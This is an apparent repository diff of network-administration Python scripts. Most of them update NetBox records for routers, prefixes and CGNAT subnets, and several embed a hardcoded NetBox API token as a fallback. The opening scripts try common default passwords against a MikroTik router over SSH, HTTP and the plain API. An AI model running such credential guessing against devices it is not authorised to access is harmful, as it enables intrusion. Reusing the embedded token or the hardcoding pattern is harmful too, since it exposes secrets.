"123456", # admin/123456
"mikrotik", # admin/mikrotik
"router", # admin/router
"default", # admin/default
"1234", # admin/1234
"pass", # admin/pass
]
print(f"Testing credentials for MikroTik device at {host}")
print("=" * 50)
for password in passwords:
pwd_display = f'"{password}"' if password else "(empty)"
print(f"Testing {username}:{pwd_display}...", end=" ")
# Test SSH first
if test_ssh_credentials(host, username, password):
print(f"✓ SSH SUCCESS with {username}:{pwd_display}")
return password
# Test HTTP
if test_http_credentials(host, username, password):
print(f"✓ HTTP SUCCESS with {username}:{pwd_display}")
return password
print("✗ Failed")
time.sleep(0.5) # Be polite
print("\nNo common default passwords worked.")
print("Suggestions:")
print("1. Device may have custom password")
print("2. Device may use different default algorithm")
print("3. Consider hardware reset if you own the device")
return None
if __name__ == "__main__":
main()

166
test_mikrotik_plain_api.py Normal file
View file

@ -0,0 +1,166 @@
#!/usr/bin/env python3
"""
MikroTik Plain API Authentication Tester
Tests credentials using plain (non-SSL) MikroTik API protocol on port 8728
"""
import socket
import sys
class MikrotikPlainAPITester:
def __init__(self, host, port=8728):
self.host = host
self.port = port
self.sock = None
def connect(self):
"""Establish plain connection to MikroTik router"""
try:
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(10)
self.sock.connect((self.host, self.port))
return True
except Exception as e:
print(f"Connection failed: {e}")
return False
def disconnect(self):
"""Close the connection"""
if self.sock:
self.sock.close()
def encode_length(self, length):
"""Encode length for MikroTik API protocol"""
if length <= 0x7F:
return bytes([length])
elif length <= 0x3FFF:
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
elif length <= 0x1FFFFF:
return bytes([((length >> 16) & 0xFF) | 0xC0,
(length >> 8) & 0xFF,
length & 0xFF])
elif length <= 0xFFFFFFF:
return bytes([((length >> 24) & 0xFF) | 0xE0,
(length >> 16) & 0xFF,
(length >> 8) & 0xFF,
length & 0xFF])
else:
return bytes([0xF0,
(length >> 24) & 0xFF,
(length >> 16) & 0xFF,
(length >> 8) & 0xFF,
length & 0xFF])
def decode_length(self):
"""Decode length from MikroTik API protocol"""
c = self.sock.recv(1)[0]
if (c & 0x80) == 0x00:
return c
elif (c & 0xC0) == 0x80:
return ((c & ~0xC0) << 8) + self.sock.recv(1)[0]
elif (c & 0xE0) == 0xC0:
data = self.sock.recv(2)
return ((c & ~0xE0) << 16) + (data[0] << 8) + data[1]
elif (c & 0xF0) == 0xE0:
data = self.sock.recv(3)
return ((c & ~0xF0) << 24) + (data[0] << 16) + (data[1] << 8) + data[2]
elif (c & 0xF8) == 0xF0:
data = self.sock.recv(4)
return (data[0] << 24) + (data[1] << 16) + (data[2] << 8) + data[3]
def write_word(self, word):
"""Send a word to the router"""
word_bytes = word.encode('utf-8')
self.sock.send(self.encode_length(len(word_bytes)))
self.sock.send(word_bytes)
def read_word(self):
"""Read a word from the router"""
length = self.decode_length()
if length == 0:
return ""
return self.sock.recv(length).decode('utf-8', 'ignore')
def write_sentence(self, words):
"""Send a sentence (list of words) to the router"""
for word in words:
self.write_word(word)
self.write_word("")
def read_sentence(self):
"""Read a sentence from the router"""
sentence = []
while True:
word = self.read_word()
if word == "":
break
sentence.append(word)
return sentence
def test_login(self, username, password):
"""Test login credentials"""
if not self.connect():
return False
try:
# Send login command
self.write_sentence(["/login", f"=name={username}", f"=password={password}"])
# Read response
response = self.read_sentence()
if response and response[0] == "!done":
return True
else:
return False
except Exception as e:
print(f"Login test error: {e}")
return False
finally:
self.disconnect()
def main():
host = "10.250.2.2"
port = 8728 # Plain API port
# Common MikroTik default passwords
credentials = [
("admin", ""), # Empty password
("admin", "admin"), # admin/admin
("admin", "password"), # admin/password
("admin", "123456"), # admin/123456
("admin", "mikrotik"), # admin/mikrotik
("admin", "router"), # admin/router
("admin", "default"), # admin/default
]
print(f"Testing MikroTik Plain API authentication on {host}:{port}")
print("=" * 60)
tester = MikrotikPlainAPITester(host, port)
for username, password in credentials:
pwd_display = f'"{password}"' if password else "(empty)"
print(f"Testing {username}:{pwd_display}...", end=" ")
if tester.test_login(username, password):
print(f"✓ SUCCESS!")
print(f"\n*** WORKING CREDENTIALS FOUND ***")
print(f"Host: {host}")
print(f"Port: {port} (Plain API)")
print(f"Username: {username}")
print(f"Password: {pwd_display}")
return
else:
print("✗ Failed")
print("\nNo working credentials found with common defaults.")
print("\nNext steps:")
print("1. Device likely has custom password")
print("2. Consider hardware reset if you own the device")
print("3. Check device label for default credentials")
print("4. Try WinBox which might show more info")
if __name__ == "__main__":
main()

104
update_380_edge_manually.py Normal file
View file

@ -0,0 +1,104 @@
#!/usr/bin/env python3
import os
import requests
import json
from urllib.parse import urljoin
# Get API token
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
# NetBox API setup
base_url = 'https://netbox.vntx.net/'
api_url = urljoin(base_url, 'api/')
headers = {
'Authorization': f'Token {api_token}',
'Content-Type': 'application/json',
'Accept': 'application/json'
}
print("=== Updating 380 Edge Router in NetBox ===\n")
# Edge router specific data
edge_device_id = 9
site_id = 8
# Update primary IP assignment for edge router
print("Assigning primary IP to edge router...")
try:
# First create interface on edge router
interface_data = {
'device': edge_device_id,
'name': 'loopback',
'type': 'virtual',
'enabled': True
}
response = requests.post(f"{api_url}dcim/interfaces/", headers=headers, json=interface_data)
if response.status_code == 201:
interface_id = response.json()['id']
print(f"✓ Created loopback interface (ID: {interface_id})")
# Assign IP to interface
ip_update = {
'assigned_object_type': 'dcim.interface',
'assigned_object_id': interface_id
}
# Find the IP
ip_response = requests.get(f"{api_url}ipam/ip-addresses/",
headers=headers,
params={'address': '10.254.254.254/32'})
if ip_response.json()['count'] > 0:
ip_id = ip_response.json()['results'][0]['id']
patch_response = requests.patch(f"{api_url}ipam/ip-addresses/{ip_id}/",
headers=headers,
json=ip_update)
if patch_response.status_code == 200:
print("✓ Assigned IP to loopback interface")
# Set as primary IP for device
device_update = {'primary_ip4': ip_id}
device_response = requests.patch(f"{api_url}dcim/devices/{edge_device_id}/",
headers=headers,
json=device_update)
if device_response.status_code == 200:
print("✓ Set as primary IP for edge router")
except Exception as e:
print(f"Error: {e}")
# Create interfaces for edge router
print("\n=== Creating Edge Router Interfaces ===")
interfaces = [
'sfp-sfpplus7-core-direct',
'sfp-sfpplus8-server-switch',
'sfp-sfpplus11-preseem',
'sfp-sfpplus12-spectrum',
'cgnat',
'vlan9_sfpplus8'
]
for interface in interfaces:
# Check if already exists
check = requests.get(f"{api_url}dcim/interfaces/",
headers=headers,
params={'device_id': edge_device_id, 'name': interface})
if check.json()['count'] == 0:
if 'vlan' in interface or interface == 'cgnat':
itype = 'virtual'
else:
itype = '10gbase-x-sfpp' # SFP+ interfaces
interface_data = {
'device': edge_device_id,
'name': interface,
'type': itype,
'enabled': True
}
response = requests.post(f"{api_url}dcim/interfaces/", headers=headers, json=interface_data)
if response.status_code == 201:
print(f"✓ Created interface: {interface}")
else:
print(f"✗ Failed to create interface: {interface}")
print("\n✓ Edge router update complete!")

View file

@ -0,0 +1,369 @@
#!/usr/bin/env python3
import os
import sys
import json
import argparse
import requests
from urllib.parse import urljoin
class NetBoxUpdater:
def __init__(self, url, token):
self.base_url = url.rstrip('/')
self.api_url = urljoin(self.base_url + '/', 'api/')
self.headers = {
'Authorization': f'Token {token}',
'Content-Type': 'application/json',
'Accept': 'application/json'
}
self.session = requests.Session()
self.session.headers.update(self.headers)
def post(self, endpoint, data):
"""Make POST request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.post(url, json=data)
if response.status_code not in [200, 201]:
print(f"Error creating {endpoint}: {response.status_code}")
print(f"Response: {response.text}")
response.raise_for_status()
return response.json()
def patch(self, endpoint, data):
"""Make PATCH request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.patch(url, json=data)
if response.status_code not in [200, 201]:
print(f"Error updating {endpoint}: {response.status_code}")
print(f"Response: {response.text}")
response.raise_for_status()
return response.json()
def get(self, endpoint, params=None):
"""Make GET request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.get(url, params=params)
response.raise_for_status()
return response.json()
def get_or_create_role(self, name, slug=None):
"""Get or create an IPAM role"""
if not slug:
slug = name.lower().replace(' ', '-')
response = self.get('ipam/roles/', params={'slug': slug})
if response['count'] > 0:
return response['results'][0]['id']
# Create role
role_data = {
'name': name,
'slug': slug
}
created = self.post('ipam/roles/', role_data)
return created['id']
def determine_prefix_role(interface, description=''):
"""Determine the role of a prefix based on interface name and description"""
interface_lower = str(interface).lower()
# Infrastructure links
if any(term in interface_lower for term in ['airfiber', '11ghz', '24ghz', 'backhaul', 'ether3', 'ether4', 'ether5', 'ether6']):
return 'infrastructure'
# Loopback
if 'loopback' in interface_lower or interface == 'lo':
return 'loopback'
# Management
if any(term in interface_lower for term in ['mgmt', 'management', 'ether1']):
return 'management'
# Customer bridges
if 'bridge' in interface_lower or 'pppoe' in interface_lower:
return 'customer'
# VLANs are often customer-facing
if 'vlan' in interface_lower:
return 'customer'
return 'infrastructure' # Default
def process_router_data(json_file, site_name, dry_run=False):
"""Process router data JSON and update NetBox"""
# Load router data
with open(json_file, 'r') as f:
router_data = json.load(f)
# Get API token
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
nb = NetBoxUpdater('https://netbox.vntx.net/', api_token)
print(f"=== Processing Router Data for {site_name} ===\n")
# Get site ID
site_response = nb.get('dcim/sites/', params={'name': site_name})
if site_response['count'] == 0:
print(f"Error: Site '{site_name}' not found in NetBox")
print(f"Please create the site first using: python3 create_site_and_router.py {site_name} {router_data['host']}")
return False
site_id = site_response['results'][0]['id']
print(f"Found site: {site_name} (ID: {site_id})")
# Get device
device_response = nb.get('dcim/devices/', params={'site_id': site_id})
if device_response['count'] == 0:
print(f"Error: No device found for site '{site_name}'")
return False
device = device_response['results'][0]
device_id = device['id']
device_name = device['name']
print(f"Found device: {device_name} (ID: {device_id})\n")
# Get or create roles
role_mapping = {
'infrastructure': 'Infrastructure',
'loopback': 'Loopback',
'customer': 'Customer',
'management': 'Management'
}
if not dry_run:
print("Setting up IPAM roles...")
role_ids = {}
for key, name in role_mapping.items():
role_ids[key] = nb.get_or_create_role(name, key)
print(f"{name}")
print()
# Process subnets (non-dynamic only)
static_subnets = [s for s in router_data['subnets'] if not s.get('dynamic', False)]
print(f"=== Processing {len(static_subnets)} Static Subnets ===")
prefixes_to_create = []
ips_to_create = []
for subnet in static_subnets:
address = subnet['address']
network = subnet['network']
interface = subnet['interface']
comment = subnet.get('comment', '')
# Skip PPPoE dynamic IPs
if str(interface).startswith('<pppoe-'):
continue
# Determine if it's a host IP or a subnet
if address.endswith('/32'):
# It's a host IP
role = determine_prefix_role(interface, comment)
ips_to_create.append({
'address': address,
'interface': interface,
'description': comment or f"{device_name} - {interface}",
'role': role
})
else:
# It's a subnet
prefix_bits = address.split('/')[-1]
prefix = f"{network}/{prefix_bits}"
role = determine_prefix_role(interface, comment)
prefixes_to_create.append({
'prefix': prefix,
'interface': interface,
'description': comment or f"{site_name} - {interface}",
'role': role,
'gateway_ip': address
})
if dry_run:
print("\n=== DRY RUN - Would create the following: ===\n")
print(f"Prefixes ({len(prefixes_to_create)}):")
for p in prefixes_to_create:
print(f" - {p['prefix']} ({p['role']}) - {p['description']}")
print(f"\nIP Addresses ({len(ips_to_create)}):")
for ip in ips_to_create:
print(f" - {ip['address']} ({ip['role']}) - {ip['description']}")
return True
# Create prefixes
print(f"\n=== Creating/Updating {len(prefixes_to_create)} Prefixes ===")
created_prefixes = 0
failed_prefixes = 0
for item in prefixes_to_create:
# Check if prefix already exists
prefix_response = nb.get('ipam/prefixes/', params={'prefix': item['prefix']})
prefix_data = {
'prefix': item['prefix'],
'site': site_id,
'status': 'active',
'description': item['description'],
'is_pool': False
}
if role_ids.get(item['role']):
prefix_data['role'] = role_ids[item['role']]
try:
if prefix_response['count'] == 0:
# Create new prefix
created_prefix = nb.post('ipam/prefixes/', prefix_data)
print(f"✓ Created prefix: {item['prefix']} - {item['description']}")
created_prefixes += 1
else:
# Update existing prefix
existing_id = prefix_response['results'][0]['id']
updated_prefix = nb.patch(f'ipam/prefixes/{existing_id}/', prefix_data)
print(f"✓ Updated prefix: {item['prefix']} - {item['description']}")
created_prefixes += 1
# Create gateway IP if needed
if item.get('gateway_ip'):
gw_response = nb.get('ipam/ip-addresses/', params={'address': item['gateway_ip']})
if gw_response['count'] == 0:
gw_data = {
'address': item['gateway_ip'],
'status': 'active',
'description': f"{item['interface']} gateway - {item['description']}",
'role': 'anycast' if item['role'] == 'infrastructure' else None
}
try:
nb.post('ipam/ip-addresses/', gw_data)
print(f" ✓ Created gateway IP: {item['gateway_ip']}")
except:
pass
except Exception as e:
print(f"✗ Failed to create/update prefix {item['prefix']}: {e}")
failed_prefixes += 1
print(f"\nPrefix Summary: {created_prefixes} successful, {failed_prefixes} failed")
# Create IP addresses
print(f"\n=== Creating/Updating {len(ips_to_create)} IP Addresses ===")
created_ips = 0
failed_ips = 0
for item in ips_to_create:
# Check if IP already exists
ip_response = nb.get('ipam/ip-addresses/', params={'address': item['address']})
ip_data = {
'address': item['address'],
'status': 'active',
'description': item['description']
}
if item['role'] == 'loopback':
ip_data['role'] = 'loopback'
try:
if ip_response['count'] == 0:
# Create new IP
created_ip = nb.post('ipam/ip-addresses/', ip_data)
print(f"✓ Created IP: {item['address']} - {item['description']}")
created_ips += 1
else:
# Update existing IP
existing_id = ip_response['results'][0]['id']
updated_ip = nb.patch(f'ipam/ip-addresses/{existing_id}/', ip_data)
print(f"✓ Updated IP: {item['address']} - {item['description']}")
created_ips += 1
except Exception as e:
print(f"✗ Failed to create/update IP {item['address']}: {e}")
failed_ips += 1
print(f"\nIP Summary: {created_ips} successful, {failed_ips} failed")
# Create interfaces on the device
print(f"\n=== Creating Device Interfaces ===")
created_interfaces = 0
# Get unique interfaces from both subnets and active interfaces
interface_set = set()
for subnet in static_subnets:
if not str(subnet['interface']).startswith('<'):
interface_set.add(str(subnet['interface']))
for iface in router_data.get('interfaces', []):
if not str(iface['name']).startswith('<'):
interface_set.add(str(iface['name']))
for interface_name in sorted(interface_set):
# Check if interface exists
interface_response = nb.get('dcim/interfaces/', params={
'device_id': device_id,
'name': interface_name
})
if interface_response['count'] == 0:
# Determine interface type
if 'vlan' in interface_name.lower():
iface_type = 'virtual'
elif 'bridge' in interface_name.lower():
iface_type = 'bridge'
elif 'loopback' in interface_name.lower() or interface_name == 'lo':
iface_type = 'virtual'
else:
iface_type = '1000base-t' # Default to gigabit ethernet
interface_data = {
'device': device_id,
'name': interface_name,
'type': iface_type,
'enabled': True
}
try:
created_interface = nb.post('dcim/interfaces/', interface_data)
print(f"✓ Created interface: {interface_name} ({iface_type})")
created_interfaces += 1
except Exception as e:
print(f"✗ Failed to create interface {interface_name}: {e}")
print(f"\nCreated {created_interfaces} new interfaces")
print(f"\n=== Update Complete ===")
print(f"Site: {site_name}")
print(f"Device: {device_name}")
print(f"Prefixes: {created_prefixes}/{len(prefixes_to_create)}")
print(f"IPs: {created_ips}/{len(ips_to_create)}")
print(f"Interfaces: {created_interfaces}")
return True
def main():
parser = argparse.ArgumentParser(description='Update NetBox with router data from JSON file')
parser.add_argument('json_file', help='Path to router data JSON file')
parser.add_argument('site_name', help='Name of the site in NetBox')
parser.add_argument('--dry-run', action='store_true', help='Show what would be created without making changes')
args = parser.parse_args()
# Check if file exists
if not os.path.exists(args.json_file):
print(f"Error: File '{args.json_file}' not found")
return 1
# Process the data
success = process_router_data(args.json_file, args.site_name, args.dry_run)
return 0 if success else 1
if __name__ == "__main__":
sys.exit(main())

298
update_netbox_verona.py Normal file
View file

@ -0,0 +1,298 @@
#!/usr/bin/env python3
import requests
import json
from urllib.parse import urljoin
class NetBoxUpdater:
def __init__(self, url, token):
self.base_url = url.rstrip('/')
self.api_url = urljoin(self.base_url + '/', 'api/')
self.headers = {
'Authorization': f'Token {token}',
'Content-Type': 'application/json',
'Accept': 'application/json'
}
self.session = requests.Session()
self.session.headers.update(self.headers)
def post(self, endpoint, data):
"""Make POST request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.post(url, json=data)
if response.status_code not in [200, 201]:
print(f"Error creating {endpoint}: {response.status_code}")
print(f"Response: {response.text}")
response.raise_for_status()
return response.json()
def patch(self, endpoint, data):
"""Make PATCH request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.patch(url, json=data)
if response.status_code not in [200, 201]:
print(f"Error updating {endpoint}: {response.status_code}")
print(f"Response: {response.text}")
response.raise_for_status()
return response.json()
def get(self, endpoint, params=None):
"""Make GET request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.get(url, params=params)
response.raise_for_status()
return response.json()
def main():
# NetBox connection
import os
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
nb = NetBoxUpdater('https://netbox.vntx.net/', api_token)
# Router subnet data with interface mappings
router_data = [
{
'prefix': '10.250.1.24/29',
'ip': '10.250.1.25/29',
'interface': 'ether3-climax-11ghz',
'description': 'Climax 11GHz backhaul link',
'role': 'infrastructure'
},
{
'prefix': '10.254.254.101/32',
'ip': '10.254.254.101/32',
'interface': 'loopback',
'description': 'Verona router loopback',
'role': 'loopback'
},
{
'prefix': '100.64.0.0/22',
'ip': '100.64.3.254/22',
'interface': 'verona',
'description': 'Verona main CGNAT subnet',
'role': 'customer'
},
{
'prefix': '204.110.188.224/27',
'ip': '204.110.188.254/27',
'interface': 'verona',
'description': 'Verona public IP subnet',
'role': 'customer'
},
{
'prefix': '100.64.12.0/22',
'ip': '100.64.15.254/22',
'interface': 'vlan_19_ether6',
'description': 'Verona VLAN 19 CGNAT',
'role': 'customer'
},
{
'prefix': '10.10.80.0/20',
'ip': '10.10.95.254/20',
'interface': 'vlan_10_ether6',
'description': 'Verona CPE management subnet 1',
'role': 'management'
},
{
'prefix': '10.10.0.0/20',
'ip': '10.10.15.254/20',
'interface': 'vlan_10_ether6',
'description': 'Verona CPE management subnet 2',
'role': 'management'
},
{
'prefix': '10.0.101.0/24',
'ip': '10.0.101.254/24',
'interface': 'sfp-sfpplus1-verona-tower-switch',
'description': 'Verona tower switch connection',
'role': 'infrastructure'
},
{
'prefix': '10.250.1.144/29',
'ip': '10.250.1.145/29',
'interface': 'ether6-switch',
'description': 'Verona switch interconnect',
'role': 'infrastructure'
},
{
'prefix': '204.110.191.0/27',
'ip': '204.110.191.30/27',
'interface': 'vlan9_sfpplus1',
'description': 'Verona VLAN 9 public subnet',
'role': 'customer'
},
{
'prefix': '10.25.1.0/24',
'ip': '10.25.1.254/24',
'interface': 'ether1',
'description': 'Verona ether1 management',
'role': 'management'
},
{
'prefix': '192.168.99.0/24',
'ip': '192.168.99.254/24',
'interface': 'ether10-powerswitch',
'description': 'Verona power switch management',
'role': 'management'
}
]
# Get site ID
site_response = nb.get('dcim/sites/', params={'name': 'Verona'})
if site_response['count'] == 0:
print("Error: Verona site not found")
return
site_id = site_response['results'][0]['id']
print(f"Found Verona site with ID: {site_id}")
# Get or create prefix roles
role_mapping = {
'infrastructure': 'Infrastructure',
'loopback': 'Loopback',
'customer': 'Customer',
'management': 'Management'
}
role_ids = {}
for key, name in role_mapping.items():
role_response = nb.get('ipam/roles/', params={'name': name})
if role_response['count'] > 0:
role_ids[key] = role_response['results'][0]['id']
else:
# Create role if it doesn't exist
role_data = {
'name': name,
'slug': key
}
try:
created_role = nb.post('ipam/roles/', role_data)
role_ids[key] = created_role['id']
print(f"Created role: {name}")
except:
print(f"Could not create role: {name}")
role_ids[key] = None
# Process each subnet
print("\n=== Creating/Updating Prefixes ===")
created_prefixes = 0
failed_prefixes = 0
for item in router_data:
# Check if prefix already exists
prefix_response = nb.get('ipam/prefixes/', params={'prefix': item['prefix']})
prefix_data = {
'prefix': item['prefix'],
'site': site_id,
'status': 'active',
'description': item['description'],
'is_pool': False
}
if role_ids.get(item['role']):
prefix_data['role'] = role_ids[item['role']]
try:
if prefix_response['count'] == 0:
# Create new prefix
created_prefix = nb.post('ipam/prefixes/', prefix_data)
print(f"Created prefix: {item['prefix']} - {item['description']}")
created_prefixes += 1
else:
# Update existing prefix
existing_id = prefix_response['results'][0]['id']
updated_prefix = nb.patch(f'ipam/prefixes/{existing_id}/', prefix_data)
print(f"Updated prefix: {item['prefix']} - {item['description']}")
created_prefixes += 1
except Exception as e:
print(f"Failed to create/update prefix {item['prefix']}: {e}")
failed_prefixes += 1
print(f"\nPrefix Summary: {created_prefixes} successful, {failed_prefixes} failed")
# Update IP addresses with interface information
print("\n=== Updating IP Address Interface Assignments ===")
updated_ips = 0
failed_ips = 0
# Get the device for Verona
device_response = nb.get('dcim/devices/', params={'site_id': site_id})
if device_response['count'] == 0:
print("Warning: No device found for Verona site")
device_id = None
else:
device_id = device_response['results'][0]['id']
device_name = device_response['results'][0]['name']
print(f"Found device: {device_name} (ID: {device_id})")
# Create a mapping of IP to interface
ip_to_interface = {item['ip']: item['interface'] for item in router_data}
ip_to_description = {item['ip']: item['description'] for item in router_data}
# Get all IPs for the site
ips_response = nb.get('ipam/ip-addresses/', params={'site_id': site_id})
for ip_obj in ips_response['results']:
ip_address = ip_obj['address']
if ip_address in ip_to_interface:
interface_name = ip_to_interface[ip_address]
description = ip_to_description[ip_address]
# Update IP with description
update_data = {
'description': f"{interface_name} - {description}"
}
# If we have a device, try to find or create the interface
if device_id:
# Check if interface exists
interface_response = nb.get('dcim/interfaces/', params={
'device_id': device_id,
'name': interface_name
})
if interface_response['count'] == 0:
# Create interface
interface_data = {
'device': device_id,
'name': interface_name,
'type': 'virtual', # Using virtual for now
'enabled': True
}
try:
created_interface = nb.post('dcim/interfaces/', interface_data)
interface_id = created_interface['id']
print(f"Created interface: {interface_name}")
# Assign IP to interface
update_data['assigned_object_type'] = 'dcim.interface'
update_data['assigned_object_id'] = interface_id
except Exception as e:
print(f"Failed to create interface {interface_name}: {e}")
else:
# Use existing interface
interface_id = interface_response['results'][0]['id']
update_data['assigned_object_type'] = 'dcim.interface'
update_data['assigned_object_id'] = interface_id
# Update the IP address
try:
updated_ip = nb.patch(f"ipam/ip-addresses/{ip_obj['id']}/", update_data)
print(f"Updated IP {ip_address} with interface {interface_name}")
updated_ips += 1
except Exception as e:
print(f"Failed to update IP {ip_address}: {e}")
failed_ips += 1
print(f"\nIP Update Summary: {updated_ips} successful, {failed_ips} failed")
print("\n=== Update Complete ===")
print(f"Total prefixes processed: {created_prefixes + failed_prefixes}")
print(f"Total IPs processed: {updated_ips + failed_ips}")
if __name__ == "__main__":
main()

193
update_site_982_cgnat.py Normal file
View file

@ -0,0 +1,193 @@
#!/usr/bin/env python3
"""
Update NetBox site 982 CGNAT configuration
- Add new CGNAT prefix 100.64.48.0/20 with role "Customer"
- Add router IP 100.64.63.254/20
"""
import os
import requests
import json
import sys
# API configuration
NETBOX_URL = 'https://netbox.vntx.net/api/'
API_TOKEN = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
headers = {
'Authorization': f'Token {API_TOKEN}',
'Content-Type': 'application/json'
}
def get_or_create_prefix_role(name):
"""Get or create a prefix role"""
# Check if role exists
response = requests.get(f'{NETBOX_URL}ipam/roles/', headers=headers, params={'name': name})
roles = response.json()['results']
if roles:
return roles[0]['id']
# Create role if it doesn't exist
data = {
'name': name,
'slug': name.lower().replace(' ', '-')
}
response = requests.post(f'{NETBOX_URL}ipam/roles/', headers=headers, data=json.dumps(data))
if response.status_code == 201:
return response.json()['id']
else:
print(f"Error creating role: {response.status_code} - {response.text}")
return None
def main():
print("Updating NetBox configuration for site 982...")
# Get site 982
response = requests.get(f'{NETBOX_URL}dcim/sites/', headers=headers, params={'name': '982'})
sites = response.json()['results']
if not sites:
print("Error: Site 982 not found!")
sys.exit(1)
site = sites[0]
print(f"Found site: {site['name']} (ID: {site['id']})")
# Get Customer role ID
customer_role_id = get_or_create_prefix_role('Customer')
if not customer_role_id:
print("Error: Could not get/create Customer role")
sys.exit(1)
# Step 1: Check for old CGNAT prefix (100.64.32.0/22)
print("\nChecking for old CGNAT prefix 100.64.32.0/22...")
response = requests.get(f'{NETBOX_URL}ipam/prefixes/', headers=headers, params={'prefix': '100.64.32.0/22'})
old_prefixes = response.json()['results']
for prefix in old_prefixes:
# Check if prefix belongs to site 982 (handle case where site might be None)
prefix_site = prefix.get('site')
if prefix_site and prefix_site['id'] == site['id']:
print(f"Found old CGNAT prefix: {prefix['prefix']} (ID: {prefix['id']})")
# Delete old prefix
response = requests.delete(f"{NETBOX_URL}ipam/prefixes/{prefix['id']}/", headers=headers)
if response.status_code == 204:
print("Successfully deleted old CGNAT prefix")
else:
print(f"Error deleting old prefix: {response.status_code}")
# Step 2: Add new CGNAT prefix (100.64.48.0/20)
print("\nAdding new CGNAT prefix 100.64.48.0/20...")
prefix_data = {
'prefix': '100.64.48.0/20',
'site': site['id'],
'role': customer_role_id,
'status': 'active',
'description': 'CGNAT subnet',
'tags': []
}
response = requests.post(f'{NETBOX_URL}ipam/prefixes/', headers=headers, data=json.dumps(prefix_data))
if response.status_code == 201:
new_prefix = response.json()
print(f"Successfully created prefix: {new_prefix['prefix']} (ID: {new_prefix['id']})")
else:
print(f"Error creating prefix: {response.status_code} - {response.text}")
sys.exit(1)
# Step 3: Get the router device
print("\nFinding 982-router...")
response = requests.get(f'{NETBOX_URL}dcim/devices/', headers=headers, params={'name': '982-router'})
devices = response.json()['results']
if not devices:
print("Error: 982-router not found!")
sys.exit(1)
device = devices[0]
print(f"Found device: {device['name']} (ID: {device['id']})")
# Step 4: Find or create CGNAT interface
print("\nChecking for CGNAT interface...")
response = requests.get(f'{NETBOX_URL}dcim/interfaces/', headers=headers, params={'device_id': device['id'], 'name': 'cgnat'})
interfaces = response.json()['results']
if interfaces:
interface = interfaces[0]
print(f"Found existing CGNAT interface (ID: {interface['id']})")
else:
# Create CGNAT interface
print("Creating CGNAT interface...")
interface_data = {
'device': device['id'],
'name': 'cgnat',
'type': 'virtual',
'enabled': True
}
response = requests.post(f'{NETBOX_URL}dcim/interfaces/', headers=headers, data=json.dumps(interface_data))
if response.status_code == 201:
interface = response.json()
print(f"Created CGNAT interface (ID: {interface['id']})")
else:
print(f"Error creating interface: {response.status_code} - {response.text}")
sys.exit(1)
# Step 5: Check for old IP address and remove it
print("\nChecking for old IP address 100.64.35.254/22...")
response = requests.get(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, params={'address': '100.64.35.254/22'})
old_ips = response.json()['results']
for ip in old_ips:
if ip['assigned_object'] and ip['assigned_object_type'] == 'dcim.interface':
if ip['assigned_object']['device']['id'] == device['id']:
print(f"Found old IP: {ip['address']} (ID: {ip['id']})")
response = requests.delete(f"{NETBOX_URL}ipam/ip-addresses/{ip['id']}/", headers=headers)
if response.status_code == 204:
print("Successfully deleted old IP address")
else:
print(f"Error deleting old IP: {response.status_code}")
# Step 6: Add new IP address (100.64.63.254/20)
print("\nAdding new IP address 100.64.63.254/20...")
ip_data = {
'address': '100.64.63.254/20',
'assigned_object_type': 'dcim.interface',
'assigned_object_id': interface['id'],
'status': 'active',
'description': 'CGNAT gateway'
}
response = requests.post(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, data=json.dumps(ip_data))
if response.status_code == 201:
new_ip = response.json()
print(f"Successfully created IP address: {new_ip['address']} (ID: {new_ip['id']})")
else:
print(f"Error creating IP address: {response.status_code} - {response.text}")
sys.exit(1)
# Step 7: Verify the changes
print("\n=== Verification ===")
# Check prefixes
response = requests.get(f'{NETBOX_URL}ipam/prefixes/', headers=headers, params={'site_id': site['id']})
prefixes = response.json()['results']
print("\nPrefixes for site 982:")
for prefix in prefixes:
role = prefix['role']['name'] if prefix['role'] else 'No role'
print(f" - {prefix['prefix']} (Role: {role})")
# Check IP addresses
response = requests.get(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, params={'device_id': device['id']})
ips = response.json()['results']
print("\nIP addresses on 982-router:")
for ip in ips:
interface_name = ip['assigned_object']['name'] if ip['assigned_object'] else 'Unassigned'
print(f" - {ip['address']} (Interface: {interface_name})")
print("\n✅ Update completed successfully!")
if __name__ == '__main__':
main()

View file

@ -0,0 +1,254 @@
#!/usr/bin/env python3
"""
Complete update script for site 982 CGNAT configuration
This script handles the complete update process including verification
"""
import os
import requests
import json
import sys
import time
# API configuration
NETBOX_URL = 'https://netbox.vntx.net/api/'
API_TOKEN = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
headers = {
'Authorization': f'Token {API_TOKEN}',
'Content-Type': 'application/json',
'Accept': 'application/json'
}
def delete_prefix_by_cidr(cidr):
"""Delete a prefix by CIDR notation"""
response = requests.get(f'{NETBOX_URL}ipam/prefixes/', headers=headers, params={'prefix': cidr})
prefixes = response.json()['results']
deleted = False
for prefix in prefixes:
print(f"Deleting prefix {prefix['prefix']} (ID: {prefix['id']})")
response = requests.delete(f"{NETBOX_URL}ipam/prefixes/{prefix['id']}/", headers=headers)
if response.status_code == 204:
print(" ✓ Deleted successfully")
deleted = True
else:
print(f" ✗ Error: {response.status_code}")
return deleted
def delete_ip_by_address(address):
"""Delete an IP address by address string"""
response = requests.get(f'{NETBOX_URL}ipam/ip-addresses/', headers=headers, params={'address': address})
ips = response.json()['results']
deleted = False
for ip in ips:
print(f"Deleting IP {ip['address']} (ID: {ip['id']})")
response = requests.delete(f"{NETBOX_URL}ipam/ip-addresses/{ip['id']}/", headers=headers)
if response.status_code == 204:
print(" ✓ Deleted successfully")
